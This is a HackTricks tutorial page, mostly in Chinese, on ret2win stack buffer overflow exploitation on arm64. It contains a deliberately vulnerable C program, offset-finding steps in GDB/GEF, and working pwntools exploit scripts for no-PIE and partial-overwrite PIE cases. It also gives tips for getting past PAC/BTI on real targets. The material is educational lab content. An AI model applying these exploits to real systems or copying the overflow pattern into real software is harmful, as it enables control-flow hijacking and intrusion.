Ret2win - arm64
Reading time: 9 minutes
tip
学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。
在以下位置可以找到关于 arm64 的介绍:
代码
#include <stdio.h>
#include <unistd.h>
void win() {
printf("Congratulations!\n");
}
void vulnerable_function() {
char buffer[64];
read(STDIN_FILENO, buffer, 256); // <-- bof vulnerability
}
int main() {
vulnerable_function();
return 0;
}
在没有 pie 和 canary 的情况下编译:
clang -o ret2win ret2win.c -fno-stack-protector -Wno-format-security -no-pie -mbranch-protection=none
- 额外的编译选项
-mbranch-protection=none
会禁用 AArch64 Branch Protection (PAC/BTI)。如果你的工具链默认启用了 PAC 或 BTI,这能保持实验可重复。要检查已编译的二进制是否使用了 PAC/BTI,你可以: - 查找 AArch64 GNU 属性:
readelf --notes -W ret2win | grep -E 'AARCH64_FEATURE_1_(BTI|PAC)'
- 检查函数前序/后序以寻找
paciasp
/autiasp
(PAC)或bti c
着陆点(BTI): objdump -d ret2win | head -n 40
AArch64 调用约定快速要点
- 链接寄存器是
x30
(也称lr
),函数通常用stp x29, x30, [sp, #-16]!
保存x29
/x30
,并用ldp x29, x30, [sp], #16; ret
恢复它们。 - 这意味着保存的返回地址位于相对于帧基址的
sp+8
。如果在下面放置了一个char buffer[64]
,通常覆盖保存的x30
的距离是 64 (buffer) + 8 (saved x29) = 72 字节——这正是我们下面会发现的。 - 在函数边界处,栈指针必须保持 16 字节对齐。如果你在更复杂的场景中稍后构造 ROP chains,请保持 SP 对齐,否则可能在函数尾部崩溃。
寻找偏移量
模式选项
这个例子是使用 GEF 创建的:
用 gef 启动 gdb,创建 pattern 并使用它:
gdb -q ./ret2win
pattern create 200
run
.png)
arm64 会尝试返回到寄存器 x30 中的地址(该寄存器已被破坏),我们可以利用这一点来找到 pattern offset:
pattern search $x30
.png)
偏移量是 72 (9x48)。
栈偏移选项
首先获取存储 pc 寄存器的栈地址:
gdb -q ./ret2win
b *vulnerable_function + 0xc
run
info frame
.png)
现在在 read()
之后设置一个断点,继续执行直到 read()
被执行,并设置一个类似 13371337 的模式:
b *vulnerable_function+28
c
.png)
查找该模式在内存中的存放位置:
.png)
然后: 0xfffffffff148 - 0xfffffffff100 = 0x48 = 72
.png)
No PIE
常规
获取 win
函数的地址:
objdump -d ret2win | grep win
ret2win: file format elf64-littleaarch64
00000000004006c4 <win>:
利用:
from pwn import *
# Configuration
binary_name = './ret2win'
p = process(binary_name)
# Optional but nice for AArch64
context.arch = 'aarch64'
# Prepare the payload
offset = 72
ret2win_addr = p64(0x00000000004006c4)
payload = b'A' * offset + ret2win_addr
# Send the payload
p.send(payload)
# Check response
print(p.recvline())
p.close()
.png)
Off-by-1
实际上,这更像是在 stack 中存储的 stored PC 出现的 off-by-2。我们不会覆盖整个 return address,而是只覆盖 最后 2 个字节,写为 0x06c4
。
from pwn import *
# Configuration
binary_name = './ret2win'
p = process(binary_name)
# Prepare the payload
offset = 72
ret2win_addr = p16(0x06c4)
payload = b'A' * offset + ret2win_addr
# Send the payload
p.send(payload)
# Check response
print(p.recvline())
p.close()
.png)
你可以在 https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/ 找到另一个 ARM64 的 off-by-one 示例,该示例是在一个虚构的漏洞中出现的真实 off-by-one。
在启用 PIE 时
tip
编译该二进制 不要使用 -no-pie
参数
Off-by-2
没有 leak 的情况下,我们不知道 win 函数的确切地址,但我们可以知道该函数相对于二进制的偏移;并且由于我们正在覆盖的 return address 已经指向一个很接近的地址,在这种情况下可以 leak 到 win 函数的偏移(0x7d4)并直接使用该偏移:
.png)
from pwn import *
# Configuration
binary_name = './ret2win'
p = process(binary_name)
# Prepare the payload
offset = 72
ret2win_addr = p16(0x07d4)
payload = b'A' * offset + ret2win_addr
# Send the payload
p.send(payload)
# Check response
print(p.recvline())
p.close()
Notes on modern AArch64 hardening (PAC/BTI) and ret2win
- 如果二进制使用 AArch64 Branch Protection 编译,你可能会在函数前导/尾随中看到
paciasp
/autiasp
或bti c
。在这种情况下: - 返回到不是有效 BTI landing pad 的地址可能会触发
SIGILL
。优先定位包含bti c
的准确函数入口。 - 如果 PAC 为 returns 启用,简单的返回地址覆盖可能会失败,因为 epilogue 会对
x30
进行认证。为了学习场景,可用-mbranch-protection=none
重新编译(如上所示)。在攻击真实目标时,优先选择非返回劫持(例如 function pointer overwrites)或构建不会执行会对你的伪造 LR 进行认证的autiasp
/ret
对的 ROP。 - 快速检查特性:
readelf --notes -W ./ret2win
并查找AARCH64_FEATURE_1_BTI
/AARCH64_FEATURE_1_PAC
notes。objdump -d ./ret2win | head -n 40
并查找bti c
,paciasp
,autiasp
。
Running on non‑ARM64 hosts (qemu‑user quick tip)
如果你在 x86_64 平台但想练习 AArch64:
# Install qemu-user and AArch64 libs (Debian/Ubuntu)
sudo apt-get install qemu-user qemu-user-static libc6-arm64-cross
# Run the binary with the AArch64 loader environment
qemu-aarch64 -L /usr/aarch64-linux-gnu ./ret2win
# Debug with GDB (qemu-user gdbstub)
qemu-aarch64 -g 1234 -L /usr/aarch64-linux-gnu ./ret2win &
# In another terminal
gdb-multiarch ./ret2win -ex 'target remote :1234'
相关 HackTricks 页面
Ret2syscall - ARM64
参考资料
- 在 AArch64 上为 Linux 启用 PAC 和 BTI (Arm Community, Nov 2024). https://community.arm.com/arm-community-blogs/b/operating-systems-blog/posts/enabling-pac-and-bti-on-aarch64-for-linux
- Arm 64-bit Architecture 的过程调用标准 (AAPCS64). https://github.com/ARM-software/abi-aa/blob/main/aapcs64/aapcs64.rst
tip
学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。